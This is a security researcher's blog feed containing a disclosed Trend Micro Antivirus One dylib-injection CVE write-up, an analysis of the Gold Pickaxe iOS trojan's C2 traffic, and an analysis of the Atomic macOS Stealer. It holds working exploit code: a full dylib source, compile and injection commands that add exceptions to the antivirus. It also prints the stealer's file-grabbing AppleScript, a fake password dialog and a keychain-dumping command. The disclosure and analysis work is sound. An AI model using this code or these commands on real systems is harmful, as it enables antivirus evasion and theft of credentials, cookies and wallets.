Syrion

macOS NimDoor: DPRK Threat Actors Target Web3 and Crypto Platforms with Nim-Based Malware

Wed, 02 Jul 2025 00:00:00 +0200

SentinelOne Blog

ReaderUpdate Reforged: Melting Pot of macOS Malware Adds Go to Crystal, Nim and Rust Variants

Tue, 25 Mar 2025 00:00:00 +0100

SentinelOne Blog

BlueNoroff Hidden Risk: Threat Actor Targets Macs with Fake Crypto News and Novel Persistence

Thu, 07 Nov 2024 00:00:00 +0100

SentinelLabs Blog

CVE-2024-34456: Trend Micro Antivirus One Dylib Injection

Mon, 06 May 2024 00:00:00 +0200

During a red teaming activity, we gained access to a company MacBook; the Trend Micro Antivirus One software was running and prevented us from running our tools without being detected.

So, I analyzed the software and found a misconfiguration that allow to inject a custom dylib into the application process.

The CVE-2024-34456 has been assigned to this issue, affecting Trend Micro Antivirus One version 3.10.3 and below. I reported it on February 6, 2024, and according to Trend Micro, following its resolution, the public disclosure was scheduled for today, May 6, 2024.

Trend Micro Antivirus One

Trend Micro Antivirus One is a virus cleaner that can be used to find malicious software on MacOS, it can be downloaded from the App Store.

Figure 1 - Antivirus One App Store

The user can choose between the free or the paid version.

Figure 2 - Antivirus One Plans

It has several functionality that can be used to scan the device, clean adwares and protect the user from malicious website.

Analysis

Using the codesign utility, we can see details about the Antivirus One application.

Figure 3 - Antivirus One Codesign

The hardened runtime flags are not enabled, this means that we can use the DYLD_INSERT_LIBRARIES environment variable to inject a custom dylib into the Antivirus One application. Csaba Fitzl wrote a well described blog post about this vulnerability.

The application has several interesting entitlements:

com.apple.security.files.user-selected.read-write: a Boolean value that indicates whether the app may have read-write access to files the user has selected using an Open or Save dialog.
com.apple.security.network.client: a Boolean value indicating whether your app may open outgoing network connections.
com.apple.security.network.server: a Boolean value indicating whether your app may listen for incoming network connections.

This means that the application can establish and receive connections, and can read and write files selected by the user.

From the Info.plist file, we can see the Privacy keys related to Desktop, Documents, Download and the Photo Library access.

When the application is executed, it requires the Full Disk Access (FDA) to enable the deeper scanning.

Figure 4 - Antivirus One Full Disk Access

Figure 5 - Full Disk Access

As proof of concept, I tried to bypass the antivirus. However, when it comes to dylib injection, it is possible to achieve multiple actions based on what the application does.

AV Bypass

The application allows the user to specify files, folders and URLs that must not be scanned by the antivirus. In the image below we can see the “Exception List” functionality.

Figure 6 - Exception List

Using the dylib injection, we can add our own files, folders, and domains to this list. Before that, we need to figure out how the application works, let’s reverse engineering it.

Reverse Engineering

The main mach-o file seems to not have any references related to the exception list, so I tried to look for something in the framework used by the application, and luckily I found the VirusCleaner framework.

Figure 7 - Frameworks

Using Hopper to reverse engineering the VirusCleaner framework we can easily find the method responsible to add object in the exception list.

Figure 8 - VirusCleaner Framework

There are 3 methods:

-[VCConfig addToExceptionFiles:]
-[VCConfig addToExceptionFolders:]
-[VCConfig addToExceptionDomains:]

Looking at the addToExceptionFiles method we can figure out that it opens the exFiles.plist file in the path “/Users/syrion/Library/Containers/com.Trend Micro.DrSafety/Data/Library/Application Support”” and writes the exception file inside.

Figure 9 - addToExceptionFiles Method

The other methods do the same using the exFolders.plist and exDomains.plist files in the same path.

Figure 10 - Exception Files

These plists contain a list of the exceptions, for example in the image below we can see the exFile.plist content when we add a file to the exceptions.

Figure 11 - exFiles.plist Content

Dylib Development

At this point we need to craft a dylib that add the exceptions, for this purpose, I want to add the following exceptions:

The file: “/tmp/poc/proof.txt”
The folder: :”/tmp/poc”
The url: “https://syrion.me”

We need to import the VirusCleaner framework and use the three methods. We can dump classes and methods using the class-dump tool.

Figure 12 - Class-dump Result

We can create our dylib as shown below.

#import <Foundation/Foundation.h>
#import <dlfcn.h>
#import <Cocoa/Cocoa.h>

@interface VCConfig : NSObject
{
    NSMutableOrderedSet *_exceptionFiles;
    NSMutableOrderedSet *_exceptionFolders;
    NSMutableOrderedSet *_exceptionDomains;
}

+ (id)sharedInstance;

@property(retain) NSMutableOrderedSet *exceptionDomains; // @synthesize exceptionDomains=_exceptionDomains;
@property(retain) NSMutableOrderedSet *exceptionFolders; // @synthesize exceptionFolders=_exceptionFolders;
@property(retain) NSMutableOrderedSet *exceptionFiles; // @synthesize exceptionFiles=_exceptionFiles;
- (void)removeFromExceptionDomains:(id)arg1;
- (void)addToExceptionDomains:(id)arg1;
- (void)removeFromExceptionFolders:(id)arg1;
- (void)addToExceptionFolders:(id)arg1;
- (void)removeFromExceptionFile:(id)arg1;
- (void)addToExceptionFiles:(id)arg1;
- (id)init;

@end


__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] Injected to %@", [[NSBundle mainBundle] bundleIdentifier]);
    
    NSString *virus_cleaner = @"/Applications/Antivirus One.app/Contents/Frameworks/VirusCleaner.framework/Versions/Current/VirusCleaner";

    void *frameworkHandle = dlopen([virus_cleaner UTF8String], RTLD_NOW);

    if (frameworkHandle) {
        NSLog(@"[+] VirusCleaner Framework loaded");

        Class VCConfigClass = nil;

        VCConfigClass = NSClassFromString(@"VCConfig"); 

        if (VCConfigClass == nil){
            NSLog(@"[-] Error: couldn't obtain VCConfig class");
            exit(-1); 
        }
   
        VCConfig *info = [[VCConfigClass alloc] init];

        VCConfig *info_shared = [VCConfigClass sharedInstance];

        NSLog(@"[+] addToExceptionFiles");
        [info_shared addToExceptionFiles:@"/tmp/poc/proof.txt"];
        
        NSLog(@"[+] addToExceptionFolders");
        [info_shared addToExceptionFolders:@"/tmp/poc"];
        
        NSLog(@"[+] addToExceptionDomains");
        [info_shared addToExceptionDomains:@"https://syrion.me"];

        [task resume];

        dlclose(frameworkHandle);
    } 
    else {
        NSLog(@"[-] Error: %s", dlerror());
    }
}

We define the VCConfig interface and its properties and methods (from the class-dump output), then using dlopen we open the VirusCleaner framework, with NSClassFromString we get the reference to the VCConfig class, and at this point we can allocate an instance of VCConfig and call the three methods in order to add the file “/tmp/poc/proof.txt”, the folder “/tmp/poc” and the url “https://syrion.me” in the exception list.

We can compile the dylib as shown below.

gcc -dynamiclib -framework Foundation -framework AVFoundation -framework Cocoa bypass_av.m -o /tmp/bypass_av.dylib

Dylib Injection

In order to inject the dylib, we can use the following command.

open /Application/Antivirus\ One.app –-env DYLD_INSERT_LIBRARIES=/tmp/bypass_av.dylib

To make the new exception list effective we need to kill the Antivirus One application before inject our dylib or to restart it.

Figure 13 - Dylib Injection

We need to restart Antivirus One application to make the new exception list effective, after that we can find our file, folder and url in the exception list!

Figure 14 - Files Exception List

Figure 15 - Folders Exception List

Figure 16 - Domains Exception List

Conclusion

The dylib process injection is a rather straightforward vulnerability, yet it could grant an attacker multiple capability. In this blog post, we have seen how it is possible to bypass the Antivirus One scan. However, in general, it is possible to exploit anything related to application permissions. For example, in the proof of concept I sent to Trend Micro, my dylib also made a HTTP request to the malicious URL (the one my dylib adds in the domains exception list).

Trend Micro fixed the vulnerability in Antivirus One Version 3.10.4, and the CVE-2024-34456 was assigned to the vulnerability.

The AV bypass could also be exploited in an easier way, but for the purpose of this blog post, I was interested in demonstrating the use of dylib injection to achieve this goal.

References

Gold Pickaxe iOS Technical Analysis: IPA Overview and C2 Communication Start up

Fri, 19 Apr 2024 00:00:00 +0200

In February 2024 Group-IB wrote a blog post about a mobile Trojan developed by a Chinese-speaking cybercrimine group called Gold Pickaxe.

This malware targets both iOS and Android users in the Asia Pacific region in order to collect identity documents, SMS, pictures and other data related to the compromised phones.

The malware communicates with the C2 using two protocols:

The websocket protocol used to listen for incoming commands
The HTTP protocol used to send information and data to the C2

In this article we are going to analyse the IPA file, and then describe how the malware connects to the C2 websocket server.

How the malware listens for incoming commands and executes them are not in the scope of this blog post.

Technical Analysis

IPA Overview

The SHA-256 of the IPA file is 4571f8c8560a8a66a90763d7236f55273750cf8dd8f4fdf443b5a07d7a93a3df, and it is reported as malicious on VirusTotal.

Figure 1 - VirusTotal Digital Pensions.ipa

The application bundle contains all the application files, there are interesting files related to the fast reverse proxy configuration, the html pages shown to the user, and a plugin used to intercept sms.

Figure 2 - Chinp.app Bundle

The iOS application is signed with the following information:

Bundle ID: com.want.long.chinp
Associated Domain: apple.hzc5[.]xyz
Developer Team ID: 27S3W42PY8

Figure 3 - Chinp.app Codesign

Obviously the associated domain is reported as malicious.

Figure 4 - VirusTotal Associated Domain

Analyzing the Info.plist file, we can see interesting information: the application name is Digital Pensions, the bundle id is com.want.long.chinp, furthermore the following settings let us know that the malware accesses the photo library and camera:

Privacy - Photo Library Usage Description
Privacy - Photo Library Additions Usage Description
Privacy - Camera Usage Description

Figure 5 - Chinp.app Info.plist

The config.ini file contains information related to the fast reverse proxy configuration as shown in the image below.

Figure 6 - FRP Con

The values “#server_addr”, “#server_port”,”#token”, “#adid” and “#remote_port” will be replaced with values received from the C2.

The plugins folder contains an extension called messagefilter.appex, according to Group-IB due to Apple restrictions, this extension can only intercept SMS received from numbers that are not in the contact list

Figure 7 - messagefilter.appex Content

In the extension Info.plist we can find the URL used to exfiltrate the intercepted sms.

Figure 8 - C2 SMS Url

The mach-o file contains chinese language strings used in logs and thai language strings that are shown to the user, this confirms that the app is developed by a Chinese-speaking group targetting thai users.

Figure 9 - Chinese and Thai Strings

Reverse Engineering

Identify The Device

The malware identifies each victim using an Identifiers for Advertisers (IDFA), the IDFA is sent in every HTTP request in order to identify the device. The +[commonUtils getAdid] method is executed to obtain the IDFA, it is just a wrapper for the +[SimulateIDFA createSimulateIDFA] method as shown in the image below.

Figure 10 - getAdid method

The SimulateIDFA project is publicly available on github, the createSimulateIDFA method is the same of the github project.

It is possible to recognize the entire method in the disassembler; for example, in the following image, we can see the carrierInfo function.

Figure 11 - carrierInfo Function

HTTP Requests

The Malware sends data and information to the C2 using the HTTP protocol, it uses the AFHTTPSessionManager class to execute a HTTP Post Request via the POST:parameters:headers:constructingBodyWithBlock:progress:success:failure: method.

We can see the method details below.

- (nullable NSURLSessionDataTask *)POST:(NSString *)URLString
                             parameters:(nullable id)parameters
                                headers:(nullable NSDictionary<NSString *, NSString *> *)headers
              constructingBodyWithBlock:(nullable void(id<AFMultipartFormData> formData))block
                               progress:(nullable void(NSProgress * uploadProgress))uploadProgress
                                success:(nullable void(NSURLSessionDataTask * task, id _Nullable responseObject))success
                                failure:(nullable void(NSURLSessionDataTask *_Nullable task, NSError * error))failure;

Parameters:

POST: the URL string used to create the request URL
parameters: the parameters to be encoded according to the client request serializer
headers: the headers appended to the default headers for this request
constructingBodyWithBlock: a block that takes a single argument and appends data to the HTTP body. The block argument is an object adopting the AFMultipartFormData protocol
progress: a block object to be executed when the upload progress is updated. Note this block is called on the session queue, not the main queue
success: a block object to be executed when the task finishes successfully. This block has no return value and takes two arguments: the data task, and the response object created by the client response serializer
failure: a block object to be executed when the task finishes unsuccessfully, or that finishes successfully, but encountered an error while parsing the response data. This block has no return value and takes a two arguments: the data task and the error describing the network or parsing error that occurred

Based on the specific API used by the malware some parameters can be set or not and in some case they can be different.

For example (nullable id)parameters is a Dictionary contains the parameters that are send to the C2 , each parameter is a key-value pair. The adid key with the IDFA value is send in each request, other parameters depends on the specific API purpose (for example the API used to send crash information has another parameter contains a string representing the crash details). Some API can set or not the block, success and failure params in order to execute specific function if the request succeeds or fails. A generic snippet of the HTTP request is the following.

AFHTTPSessionManager *manager = [AFHTTPSessionManager manager];

[manager setResponseSerializer:[AFHTTPResponseSerializer serializer]];

NSString *urlString = [NSString stringWithFormat:@"%@%@", @"http://hzc5[.]xyz", @"/api/apple/xxxx"];

NSString *keys[] = {@"adid", ... /* keys */};

NSString *objects[] = {[CommonUtils getAdid], ..., /* values */};

NSDictionary *parameters = [NSDictionary dictionaryWithObjects:objects
                                             forKeys:keys
                                             count: /* number of parameters */
                           ];

[manager POST:urlString
      parameters:parameters
      headers:nil
      constructingBodyWithBlock: /* can be set or not */ 
      progress:nil
      success:nil /* can be set or not */
      failure:nil /* can be set or not */
];

Application Startup

When the application starts, the -[AppDelegate application:didFinishLaunchingWithOptions:] method is executed. If there were crashes, the malware gets the crash detail (getCrash), saves the crash detail in the standUserDefaults and sends it to the C2 (the two saveCrash method), after that, the malware checks if the application should be terminated (isDestory). If that’s the case the application exits (_exit), otherwise it sets the isStartFrp flag variable to 0 (this variable is used to determine if the fast reverse proxy is executed).

Figure 12 - GetCrash and isDestory Methods

getCrash

The +[UserDefaultsManager getCrash:] method is responsible to get the crashes details, we are not going to show its details.

saveCrash

The +[HttpUtils saveCrash:] method executes a HTTP Post request to “/api/apple/savecrash”, it sends two parameters:

adid with the IDFA value
content with the crash details If the request succeeds the malware executes a function that print a log message, otherwise the malware executes another function that do a RET instruction.

In the screenshow below we can see the saveCrash method.

Figure 13 - HttpUtils saveCrash Method

The +[UserDefaultsManager saveCrash:] method is responsible to save the crashes details into the standUserDefaults, we are not going to show its details.

isDestory

The +[UserDefaultsManager isDestory] method is responsible to check if the application should be terminated, this is done by checks if the key “isDestory” in the standardUserDefaults is set to 1.

Figure 14 - UserDefaultsManager isDestory Method

Websocket Connection

After all these checks, the malware tries to connect to the websocket server using the JetFire library from github. In the disassembler we can recognize the code snipet from the github readme.

Figure 15 - Websocket Connection

Scheduled Tasks

At this point the malware uses the NSTimer class to invoke the scheduledTimerWithTimeInterval:target:selector:userInfo:repeats: method to schedule fours tasks. We can see the method details below.

+ (NSTimer *)scheduledTimerWithTimeInterval:(NSTimeInterval)ti 
                                     target:(id)aTarget 
                                   selector:(SEL)aSelector 
                                   userInfo:(id)userInfo 
                                    repeats:(BOOL)yesOrNo;

Parameters:

timeinterval: the number of seconds between firings of the timer. If it is less than or equal to 0.0, this method chooses the nonnegative value of 0.0001 seconds instead
target: the object to which to send the message specified by aSelector when the timer fires. The timer maintains a strong reference to target until it (the timer) is invalidated
selector: the message to send to target when the timer fires
userInfo: the user info for the timer. The timer maintains a strong reference to this object until it (the timer) is invalidated
repeats: if YES, the timer will repeatedly reschedule itself until invalidated. If NO, the timer will be invalidated after it fires

The malware schedules the execution of four tasks: sendHeartbeat, checkAuth, checkWifi, and testSpeed.

sendHeartbeat

The -[AppDelegate sendHeartbeat] methods is used to let the C2 know that the malware is alive on the victim’s phone. It writes che strings “heartbeat” on the websocket connection.

Let’s see how it is executed and how it works.

Before schedule the task, the malware saves the value 10 (0x40A00000) in a float variable called “heartTime”, after that it schedules the task to execute the sendHeartbeat method after a Time Interval of 5.0 ms, the repeats param is set to 1, this means that the task will reschedule itself.

Figure 16 - sendHeartbeat Task

The sendHeartbeat method checks if the websocket connection is up, if not it tries to reconnect, otherwise if the value of the “heartTime” is not equal to 5.0, it invalidates and reschedules the task again with a Time Interval of 104 ms ( 0x41A00000). Then the method writes the string “Heartbeat” on the websocket connection.

Figure 17 - sendHeartbeat Method

checkAuth

The -[AppDelegate checkAuth] method checks if the user has given the application permission to access the photo library.

The malware schedules the checkAuth method with a Time Interval of 34.5 ms (0x404E000000000000), as for the previous task, the repeats param is set to 1, this means that this task will reschedule itself.

Figure 18 - checkAuth Task

The checkAuth method executes the hasPicAuth method that it just a wrapper for the +[PHPhotoLibrary authorizationStatus] method used to check if the user has given the application permission related to the photo library.

If the permission is enabled, the malware executes the +[HttpUtils updateAuth:auth:] method with two arguments, the strings “2” and “1”.

Figure 19 - checkAuth Method

The updateAuth:auth: method performs a HTTP Post request to “/api/apple/applyauth”, it sends three parameters:

adid with the IDFA value
type with the value 2
auth with the value 1

Figure 20 - updateAuth:auth: Method

checkWifi

The -[AppDelegate checkWifi] method is used to check if the phone is connected via WiFi.

The malware schedules the checkWifi method with a Time Interval of 30 ms , the repeats param is set to 1 in this case too.

Figure 21 - checkWifi Task

The checkWifi method is just a wrapper for the +[HttpUtils changeWifiStatus] method that performs a HTTP Post request to “/api/apple/changewifistatus”, it sends two parameters:

adid with the IDFA value
is_wifi with the value returned from the +[HttpUtils isWifi] method

Figure 22 - changeWifiStatus Method

The isWiFi method compares the return value of the opensource -[Reachability currentReachabilityStatus] method, if the returned value is 2 (it means that the WiFi is used) it returns 1 otherwise it returns 0.

Figure 23 - isWiFi Method

We can recognize the currentReachabilityStatus method in the disassembler.

Figure 24 - currentReachabilityStatus Method

testSpeed

The -[AppDelegate testSpeed] method is used to calculate information related to the connection speed.

The malware execute the -[AppDelegate testSpeed] method, and then schedules the execution of the same method with a Time Interval of 34.5 ms , the repeats param is set to 1 in this case too.

Figure 25 - testSpeed Task

The testSpeed method executes the ping command to “www.google.com” using the PPSPing open source project. It uses two variable to calculate the connection speed:

integer pingCount contains the number of pings
double pingTime contains the ping ms result

In the following screenshot we can see that the two variable are initialize to 0, and then we can recognize the PPSPing startWithCallbackHandler method.

Figure 26 - testSpeed Method

The callback function checks the value of the pingCount variable and perform the following actions:

if pingCount<= 9: it updates the the pingTime and the pingCount variables
if pingCount> 9: it calculates the signal value (pingTime/pingCount), stops the ping execution, and call the +[HttpUtils changeSigna:] with the calculated signal values as parameter

The changeSigna: method performs a HTTP Post request to “/api/apple/changesignal” with two parameters:

adid with the IDFA value
signal with the calculated value (pingTime/pingCount)

Figure 27 - changeSigna Method

Websocket Callback

When the JetFire library websocket connection succeeds, the delegate method -[AppDelegate websocketDidConnect:] is executed.

It calls the -[AppDelegate checkDestruction] method responsible to ask the C2 if the application should be terminated.

If the application is not terminated, the isStartFrp flag variable is checked, if the value of the variable is 1, the method exits because the fast reverse proxy is already running, otherwise it executes the -[AppDelegate getFrpConfigStart] method via dispatch_after.

Figure 28 - websocketDidConnect Method

checkDestruction

The checkDestruction method performs a HTTP Post request to “/api/apple/checkdestruction” by sending the adid with the IDFA value as parameter, it also sets a function to be execute if the request succeeds.

Figure 29 - checkDestruction Method

The executed function (if the request suceeds) checks if the received value from the C2 is the string “1” and in this case it executes the setDestory method that is responsible to add the key isDestroy with value “1” in the standardUserDefaults (if you remember the +[UserDefaultsManager isDestory] method checks this value), then it executes a wrapper for the exit function via dispatch_time.

Figure 30 - Succes Executed Function

getFrpConfigStart

The -[AppDelegate getFrpConfigStart] method, performs a HTTP Post request to “/api/apple/getfrpconfig” by sending the adid with the IDFA value as parameter, if the request succeeds, the sub_10001340C function is executed.

Figure 31 - getFrpConfigStart Method

The sub_10001340C function parses the server response in order to get the configuration values for the fast reverse proxy.

It reads the config.ini file, and replace each value for the server_addr, server_port, token and remote_port keys with the ones received from the C2 server.

Figure 32 - sub_10001340C Method

After replaced each value, it writes the new configuration in a new file called newconfig.ini then it executes the -[AppDelegate setIsStartFrp:] responsible for setting the variable isStartFrp to 1.

At this point it executes two dispatch_async function to set up the socks5 server and the fast reverse proxy.

Figure 33 - sock5 and fast reverse proxy Methods

The sock5 server is implemented using the open source portable socks5 server microsocks we can recognize it in the disassembler.

Figure 34 - microsocks

The fast reverse proxy, is implemented using the open source project FRP.

Figure 35 - FRP

Conclusion

The opportunity to analyze iOS malware is very rare, so diving into the Gold Pickaxe sample was an interesting experience.

We examined the IPA content and observed how the malware connects to the C2 using the webSocket and the HTTP protocols to establish the connection and send data.

Analyzing the entire malware would provide valuable insights into how the received commands are processed.

Due to the European Digital Market Act, Apple will be required to permit the use of external markets, which could potentially be used by cybercriminals to introduce iOS malware.

Atomic macOS Stealer (AMOS) Analysis

Fri, 08 Mar 2024 00:00:00 +0100

Hello everybody, this is my first macOS malware analysis, I took a sample from malwarebazaar and tried to reverse it, the sample was uploaded by Cryptolaemus1 on 14 Feb 2024.

While analysing the stage two, it was clear that the sample is a variant of Atomic Stealer.

Atomic Stealer, as reported by SentinelOne is a macOS info stealer sold on Telegram, able to grab system information, account credential, browser data, session cookies and crypto wallets.

The main behaviours are the same already well described by RussianPanda.

Stage One

The file downloaded from malwarebazaar is a dmg file called application_v1.1.dmg, I don’t know where it came from but we can suppose that it was distributed as a fake program as reported by Malwarebytes.

The SHA-256 for the file is 08ff8a6500d623b062dcef8a2ef6fc141c1871f7a84b42f842d470fee26070c4, obiviously it was already submitted on VirusTotal.

Figure 1 - VirusTotal application_v1.1.dmg

The dmg contains the following files:

.DS_Store
.DropDMGBackground
.fseventsd
AppleApp

Figure 2 - application_v1.1.dmg Content

The mach-o AppleApp file is reported as malicious by VirusTotal, its SHA-256 is 4ac7d15c8a397cd68ba9e7166b2e356175761bf4580d0e03e3db994c3ceda3fa

Figure 3 - VirusTotal AppleApp

The file is signed with an adhoc signature.

Figure 4 - AppleApp adhoc Signature

When the dmg file is opened, it shows the following image requesting the user to right click and use the open option.

Figure 5 - AppleApp Installation

When the the file is opened, it asks the user to enter his password.

Figure 6 - Password Pop-up

Let’s try to reverse engineer the AppleApp mach-o to understand what it does.

Decrypt Stage Two Mach-o

The main function of the x64 AppleApp mach-o, creates and prints the string “osascript -e ‘tell application “Terminal” to close first windows& exit ‘”, and executes a fork, after that the parent process exits while the child process executes setsid, the osascript via system and the main2 function by running a new thread.

Figure 7 - AppleApp Main Function

The main2 function gets the user name by executing getenv(“USER”), it decrypts an embedded mach-o file using the encryptDecrypt function (0xBFC10 is the size of the encrypted file), writes the decrypted file to /Users/USERNAME/exe, then using system it executes chmod +x on the new created file to make it executable, then it runs the exe file via system, after that it sleeps for 1 seconds and deletes the /Users/USERNAME/exe file.

Figure 8 - AppleApp Main2 Function

The encryptDecrypt function is a simple xor between the encrypted mach-o file and the hardcoded key 0x13.

Figure 9 - AppleApp encryptDecrypt Function

Stage Two

The mach-o exe file is reported as malicious by VirusTotal, its SHA-256 is c802c94d0836039aa986e66200233bdf84a9f68512e7ba6d22e93ab679309d4a.

Figure 10 - VirusTotal exe

The file is signed with an adhoc signature.

Figure 11 - exe adhoc Signature

The main function is similar to the one of the AppleApp mach-o, it creates and prints the string “osascript -e ‘tell application “Terminal” to close first windows& exit ‘”, executes a fork, the parent process exits and the child process continue the execution.

The child process executes setsid, and executes the osascript by using the shellermy function.

Figure 12 - exe Main Function

The shellermy function is used to execute commands, it uses the popen function, and then reads the command output using the fread functions as shown in the image below.

Figure 13 - exe Shellermy Function

After this the malware executes several functions to steal informations and files from the system.

Verify The User Password

The malware checks the user password by calling the shellermy function with the dscl command shown below as parameter.

dscl . authonly "username" "password"

If the password is valid the dscl command returns an empty response, otherwise the following message is returned.

Figure 14 - Credential Validation Fails

The haha_check_cv function is used to validate the dscl command output, it returns 1 if the user password is valid, otherwise it returns 0. In the following screenshot, we can see the haha_check_cv function executes the shellermy function (with the dscl command as parameter), comparing the shellermy output (it is the dscl command output) and returns the flag value related to the credential validity.

Figure 15 - exe haha_check_cv Function

The first time the dscl command is executed with a blank password, if it fails, this means that the user has a password.

Ask the User Password

The getpasswordit function is used to ask the user to enter his password by calling the shellermy function with the following osascript as parameter. If the user has a blank password, this function is not executed.

osascript -e 'display dialog "Required Application Helper. Please enter passphrase for USERNAME." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Application wants to install helper" with hidden answer'

After that, the malware executes the dscl command again to validate the credentials, this process will be executed until the user enters the correct password. The credentials check is done by the haha_check_cv function.

The following screenshot of the getpasswordit function, shows the exit condition from the loop responsible to ask the user password, it breaks when the haha_check_cv returns 1.

Figure 16 - exe getpasswordit Loop

Get System Information

The malware gets system information by executing the following command via shellarmy.

system_profiler SPSoftwareDataTye SPHardwareDataType SPDisplaysDataType

In the image below we can see a portion of the command result in the debugger.

Figure 17 - system_profiler output

At this point RussianPanda reportes an anti-vm check, in this sample this check is not implemented.

Steal Data

The Malware uses several functions to steal files related to Browsers, Wallets and System data.

RussiandPanda and BitDefender reported the new version of the “FileGrabber” functionality used by the malware to grab several files and put them in the folder ~/fg/. In their blogs, they showed the osascript used to do this.

In my sample the FileGrabber osacript and the related string FileGrabber used to create the file in the zip, are both encrypted in the segment section at the following addresses:

0x10003DFE2
0x10003E0FA
0x10003E33A
0x10003E5CA
0x10003E8EA

These strings are decrypted during the malware execution, but the script itself is never executed. In the following snipet you can see the decrypted FileGrabber osascript.

osascript -e '
    set destinationFolderPath to (path to home folder as text) & "fg:"
    set extensionsList to {"txt","png","jpg","jpeg","wallet","keys","key"} 
    set bankSize to 0 
    tell application "Finder" 
    set username to short user name of (system info) 
    try 
        if not (exists folder destinationFolderPath) then 
            make new folder at (path to home folder) with properties {name:"fg"} 
        end if 
        set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") 
        try 
            duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing 
        end try 
        
        set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:" 
        try 
            set notesFolder to folder notesFolderPath 
            set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder 
            repeat with aFile in notesFiles 
                set fileSize to size of aFile 
                if (bankSize + fileSize) < 10 * 1024 * 1024 then 
                    try 
                        duplicate aFile to folder destinationFolderPath with replacing 
                        set bankSize to bankSize + fileSize 
                    end try 
                else 
                    exit repeat 
                end if 
            end repeat 

        end try 
        
        set desktopFiles to every file of desktop 
        set documentsFiles to every file of folder "Documents" of (path to home folder) 
        repeat with aFile in (desktopFiles & documentsFiles) 
            set fileExtension to name extension of aFile 
            if fileExtension is in extensionsList then 
                set fileSize to size of aFile 
                if (bankSize + fileSize) < 10 * 1024 * 1024 then 
                    try 
                        duplicate aFile to folder destinationFolderPath with replacing 
                        set bankSize to bankSize + fileSize 
                    end try 
                else 
                    exit repeat 
                end if 
            end if 
        end repeat 
    end try 
end tell'

It looks like that the execution of the FileGrabber osascript was disabled, but the malware is still looking for the ~/fg/ folder when collecting informations. I suppose it was disabled in order to not save files on disk and to not allarm the user with an additional pop-up.

The ChronosMasiter function is used to find Chrome passwords in the keychain. It executes the following command by passing it as parameter to the shellermy function.

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

When the command is executed a system pop-up spawns because macOS wants the user to enter the password to access the keychain.

Figure 18 - Keychain Access

The ChronosMasiter function is executed only if the user has a blank password, I think it is a way to not allarm the user by asking for his password two times.

Figure 19 - Call to ChronosMasiter function

The read_dir function is used to open a directory and read its contents, it uses stat, opendir and the readdir functions as shown below.

Figure 20 - exe read_dir Function

The rodwrote function, is used to open and read files, it uses the open and the read functions, the file content is written into the zip using the mz_zip_writer_add_mem_ex_v2 function.

Figure 21 - exe rodwrote Function

At this point the above functions are used to read folders and files, they are called by the following functions:

grab_this_folder_nahuy : is responsible to steal Wallets data
grab_this_nahuy: is responsible to steal Browser data
getpw : is responsible to steal data related to Chrome Wallets plugins
pathfox: is responsible to steal data related to Firefox

String Encryption

All the strings are encrypted and are stored in the const segment, for example we can see the encrypted C2 string at address 0x10003DFCA.

Figure 22 - Encrypted C2 Strings

The strings are not directly manipulated during the decryption process, they are copied in a Thread Local Variables(TLV) at offset 0x10. For example in the image below a thread local variable is used to store the encrypted C2 strings.

Figure 23 - Thread Local Variable

After that the encrypted strings is xored with a hardcoded key that is incremented by 1 at each iteration, for example in the following snipet the c2_thread_local_variable_1 variable is the address containing the Encrypted C2 string (at offset 0xA), the i variable is just a counter incresed by 1 at each iteration and 0x77 is the hardcoded key.

Figure 24 - XOR Operation

The hardcoded key is not the same for all the strings, there are keys that are added to the counter (for example 0x77 in Figure 24) and keys that are subtracted from it. The strings are basically the same reported by RussianPanda, you can find mine here

Data Exfiltration

The malware exfiltrates the stolen informations using a zip file that is filled everytime it reads informations (username, password, files), the malware uses the functions mz_zip_writer_finalize_archive and mz_zip_writer_end_internal to finalize the zip file.

Figure 25 - Zip Finalize

After that it executes the sentdata function to enstablish a connection to the C2 server and send a HTTP POST request containing the zip file.

Figure 26 - HTTP Post Request to C2

The HTTP request has the two following headers with hardcoded values:

uuid: 42b7baec-e6da-483a-b26c-0e9cb2579abf
user: october

I dumped the zip file from the memory during an execution without any browser and wallet installed on the system, I found the following files related to the keychain, username, password and system information.

Figure 27 - Zip Files

As example the file user contains the following data.

Figure 28 - File User Content

Conclusion

The analysis of known malwares is still an interesting activity because every sample may have different behaviours.

The use of Thread Local Variables to decrypt and use the strings is very interesting.

The decrypting process described differs from the one reported in other blogs, moreover this sample requires only a minimum user interaction because the FileGrabber functiontality is disabled and the ChronosMasiter function is executed only if the user has a blank password.

The generic names such as application_v1.1.dmg, AppleApp, and the presence of several functions that are not used can lead us to suppose that this is a test version.

Feel free to contact me, I’d appreciate any feedback.

MITRE ATT&CK MATRIX

TACTIC	TECHNIQUE	NAME
Reconnaissance	T1592.001	Gather Victim Host Information: Hardware
Reconnaissance	T1592.004	Gather Victim Host Information: Client Configurations
Reconnaissance	T1589.001	Gather Victim Identity Information: Credentials
Resource Development	T1583.008	Acquire Infrastructure: Malvertising
Initial Access	TA0001	Initial Access
Execution	T1059.002	Command and Scripting Interpreter: AppleScript
Exeution	T1059.004	Command and Scripting Interpreter: Unix Shell
Execution	T1204.002	User Execution: Malicious File
Defense Evasion	T1140	Deobfuscate/Decode Files or Information
Defense Evasion	T1070.004	Indicator Removal: File Deletion
Defense Evasion	T1027.009	Obfuscated Files or Information: Embedded Payloads
Credential Access	T1555.001	Credentials from Password Stores: Keychain
Credential Access	T1555.003	Credentials from Password Stores: Credentials from Web Browsers
Credential Access	T1539	Steal Web Session Cookie
Discovery	T1087	Account Discovery
Discovery	T1217	Browser Information Discovery
Discovery	T1083	File and Directory Discovery
Discovery	T1082	System Information Discovery
Collection	T1560.002	Archive Collected Data: Archive via Library
Collection	T1119/	Automated Collection
Collection	T1005	Data from Local System
Command and Control	T1071.001/	Application Layer Protocol: Web Protocols
Exfiltration	T1030	Data Transfer Size Limits
Exfiltration	T1041	Exfiltration Over C2 Channel

Indicators of Compromise

CATEGORY	TYPE	VALUE
DMG	SHA256	08ff8a6500d623b062dcef8a2ef6fc141c1871f7a84b42f842d470fee26070c4
Mach-O	SHA256	4ac7d15c8a397cd68ba9e7166b2e356175761bf4580d0e03e3db994c3ceda3fa
